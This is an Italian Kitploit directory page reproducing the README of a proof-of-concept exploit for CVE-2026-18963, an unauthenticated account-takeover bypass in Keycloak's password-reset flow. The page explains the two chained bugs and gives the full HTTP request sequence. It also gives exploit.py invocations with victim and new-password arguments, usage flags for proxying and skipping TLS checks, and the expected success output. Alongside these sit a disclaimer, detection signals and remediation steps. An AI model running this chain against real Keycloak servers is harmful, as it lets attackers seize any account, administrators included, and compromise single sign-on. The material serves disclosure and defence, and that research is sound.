Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-18963-keycloak — Exploit proof-of-concept per CVE-2026-18963, un bypass critico del reset delle credenziali di Keycloak che consente l'acquisizione non autenticata di account. Include configurazione del laboratorio, indicazioni per il rilevamento e passaggi di bonifica per test autorizzati. | Kitploit
Strumenti/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebAutenticazioneApprendimento e Formazione
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Exploit proof-of-concept per CVE-2026-18963, un bypass critico del reset delle credenziali di Keycloak che consente l'acquisizione non autenticata di account. Include configurazione del laboratorio, indicazioni per il rilevamento e passaggi di bonifica per test autorizzati.

Vedi Repository
318h 20m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-18963 — Bypass di Reset-Credentials di Keycloak → Account Takeover

Account takeover non autenticato nel flusso reset-credentials di Keycloak. Un attaccante che conosce solo uno username/email può reimpostare la password di qualsiasi utente — inclusi gli admin — senza mai ricevere l'email di verifica.

CVE CVSS CWE License


⚠️ Disclaimer — Solo uso etico

Questa proof of concept è pubblicata esclusivamente a scopo educativo, ricerca difensiva, ingegneria delle rilevazioni (detection) e test di sicurezza autorizzati.

  • Usala solo su sistemi di tua proprietà o per cui hai esplicita autorizzazione scritta a effettuare test. Accedere o modificare sistemi senza permesso è e non etico.
illegale
  • Questa è una risorsa difensiva/educativa pensata per aiutare i team a comprendere, rilevare e correggere CVE-2026-18963 — non per attaccare terze parti.
  • L'autore (red-darkin) non si assume ALCUNA responsabilità per qualsiasi uso improprio, danno o attività illegale effettuata con questo codice. Sei l'unico responsabile dell'uso che ne fai e del rispetto di tutte le leggi applicabili.
  • Scaricando o utilizzando questo repository accetti questi termini. Se non sei d'accordo, non usarlo.
  • Vedi DISCLAIMER.md per la dichiarazione completa.


    Riepilogo

    CVECVE-2026-18963
    GravitàCritica — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
    DebolezzaCWE-640 — Meccanismo di recupero password debole
    Versioni vulnerabiliKeycloak < 26.7.2 (upstream). Anche i build stream RH corretti tramite i bundle 26.6.6 / 26.4.15
    CorrettivaKeycloak 26.7.2 (PR #51844)
    PrerequisitiForgot password (reset credentials) abilitato per il realm — l'impostazione predefinita
    ImpattoAccount takeover completo di qualsiasi utente (inclusi gli admin del realm) → compromissione dell'IdP + accesso SSO laterale

    Come funziona — due bug concatenati

    Il flusso di reset della password (reset-credentials) normalmente ti obbliga a cliccare un link inviato via email al proprietario dell'account prima di poter impostare una nuova password. Due difetti consentono a un attaccante di saltare del tutto questo controllo:

    1. Stato "Try Another Way" non limitato (unscoped) — l'handler authenticator-selector memorizza la nota AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" senza limitarla all'ID di esecuzione. Il rientro nel flusso lascia la sessione di autenticazione in uno stato confuso/obsoleto.
    2. Controllo del token mancante nel passaggio email — ResetCredentialEmail.action() chiama context.success() senza verificare ACTION_TOKEN_USER_ID (cioè senza confermare che il token di azione inviato via email sia stato effettivamente consumato).

    Concatenandoli, la sessione di autenticazione avanza direttamente al passaggio UPDATE_PASSWORD per un utente arbitrario, senza bisogno di alcuna email.

    root@kitploit:~
    GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
    GET  /login-actions/reset-credentials …              ── choose-user form
    POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
    POST …reset-credentials      username=<victim>       ── select user via selector
    GET  …/restart …                                     ── refresh session state
    GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
    POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
    POST /login-actions/required-action?execution=UPDATE_PASSWORD
            password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER
    

    Vedi docs/ROOTCAUSE.md per il diff annotato della patch.


    Avvio rapido (lab)

    Servono Docker e Python 3 con requests.

    root@kitploit:~
    # 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
    ./run_lab.sh                 # uses keycloak/keycloak:26.5.0
    
    # 2) Run the exploit against the demo 'victim' user
    pip install requests
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    

    Coda finale attesa:

    root@kitploit:~
    [7] *** update-password form served WITHOUT token ***
    [8] set-password -> HTTP 302
    [+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
    

    Poi accedi come victim / Pwned-2026! per confermare l'account takeover.

    Controllo negativo (con patch)

    root@kitploit:~
    KC_TAG=26.7.2 ./run_lab.sh
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    # stops early — the update-password form is never served
    

    Utilizzo

    root@kitploit:~
    python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
    
      --base       Keycloak base URL, e.g. http://127.0.0.1:8080
      --realm      target realm (default: master)
      --client     public client without PKCE (default: account)
      --victim     victim username or email
      --new-pass   password to set
      --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
      -k           skip TLS verification
    

    Ogni risposta HTTP viene scritta in ./dump/ per l'ispezione.


    Proxy tramite Burp

    Keycloak usa già la porta 8080, quindi imposta il listener di Burp su un'altra porta (es. 8081):

    root@kitploit:~
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!' \
        --proxy http://127.0.0.1:8081
    

    La sequenza di richieste raw per Burp Repeater si trova in requests/burp-chain.txt.


    Rilevamento

    Cerca un cambio password che non sia stato preceduto dalla verifica email nella stessa sessione di autenticazione:

    • Un evento UPDATE_PASSWORD senza un precedente VERIFY_EMAIL / EXECUTE_ACTION_TOKEN per quella sessione.
    • Raffiche di richieste reset-credentials con tryAnotherWay=on.
    • Molteplici rientri su login-actions/reset-credentials per lo stesso tab_id.

    Rimedio

    • Esegui l'upgrade a Keycloak 26.7.2 (o al build stream RH corretto) — priorità assoluta.
    • Mitigazione temporanea: Realm settings → Login → Forgot password = Off.
    • Dopo la patch: ruota le credenziali degli admin, imponi un nuovo accesso dopo i reset e attiva avvisi sui segnali di rilevamento sopra indicati.

    Riferimenti

    • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    • Fix PR #51844 — https://github.com/keycloak/keycloak/pull/51844
    • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
    • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

    Demo

    Un'esecuzione completa è registrata in CVE-2026-18963.mp4 (nella root del repository).

    Crediti

    • red-darkin — riproduzione in laboratorio, PoC e write-up.
    • Claude (Anthropic) — assistenza nella ricerca e nello sviluppo della PoC.

    Catena di exploit confermata rispetto alla patch pubblica di Keycloak (PR #51844) e ai write-up della community.

    Licenza

    MIT © red-darkin — solo per uso educativo e test autorizzati.

    Scarica lo strumento